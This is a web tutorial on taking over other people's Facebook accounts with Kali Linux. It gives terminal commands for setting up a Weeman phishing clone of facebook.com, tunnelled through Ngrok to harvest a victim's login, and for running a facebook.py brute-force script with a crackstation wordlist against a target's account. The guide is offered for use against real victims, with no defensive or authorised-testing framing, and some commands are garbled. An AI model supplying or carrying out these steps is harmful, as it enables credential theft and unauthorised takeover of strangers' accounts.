Hack Facebook using Kali Linux
Kali Linux is a favorite amongst many coders, penetration testers, and hackers. Using Kali Linux for purposes related to this gives us an edge though it’s not magic and you still gotta learn some skills and put some efforts in it.
Even by Kali Linux, we will be covering a few different methods which can be used to gain access to facebook account.
Phishing Attack
A phishing attack is one of the most common methods used nowadays, as you might be thinking of the name, it is like fishing only in some ways. This method involves luring and duping user of the account into giving us login credentials.
You can refer to a Facebook Desktop Phishing Attach from below image.
A phishing attack can be done via many methods, we will be teaching you how to do so via the use of two tools Weeman & Ngrok. First, you gotta download them both from the links given below.
Weeman | Ngrok
After downloading Ngrok, you must extract it.
Open a terminal and run weeman using these
cd weeman
chmod +x weeman.py
python weeman.py
show
Alongside open another terminal and run ngrok
./ngrok http 8080
Now head over to the weeman terminal and type these
set url http://facebook.com
set action_url 01235xx_ngrok_io
set port 8080
run
Now you can send the generated link to the victim and wait till they open it and use to enter their login credentials. Watch this video below for a more detailed step by step tutorial.
Brute Force Attack
Brute force mechanism is one of the oldest tricks in the book that’s used to verify information such as a password or other things which can be guessed correctly by multiple numbers of attempts, a software is used to correctly guess the desired combination by trying consecutively all the combinations possible.
Here for our purpose, we will be using python script and a word combination list.
You will be needing a few things for this mainly a kali machine or any other python engine, Facebook.py, and crackstation word list along with a facebook id.
Afterward, follow the below steps to initialize and execute the attack.
Install python-mechanize using this command
[*] root@root:~#apt-get install python-mechanize
Further, add Facebook.py using this
[*] root@root~# chmod +x facebook.py [*] root@root:~# python facebook.py
All you need to do now is first provide whatever profile specific details that you have of the profile that you want to hack such as email, phone number, profile id number, username etc. And then input the path to your crack station wordlist
Depending on your processor and other resources, it is gonna take a while as it will try all possible combinations one by one which can be in millions, so sit back and relax while it does your work for you.
Other than that you can also make use of social engineering toolkit in Kali Linux which is more like a swiss knife. But that’s a bit more advanced stuff and we will be covering it in another post.
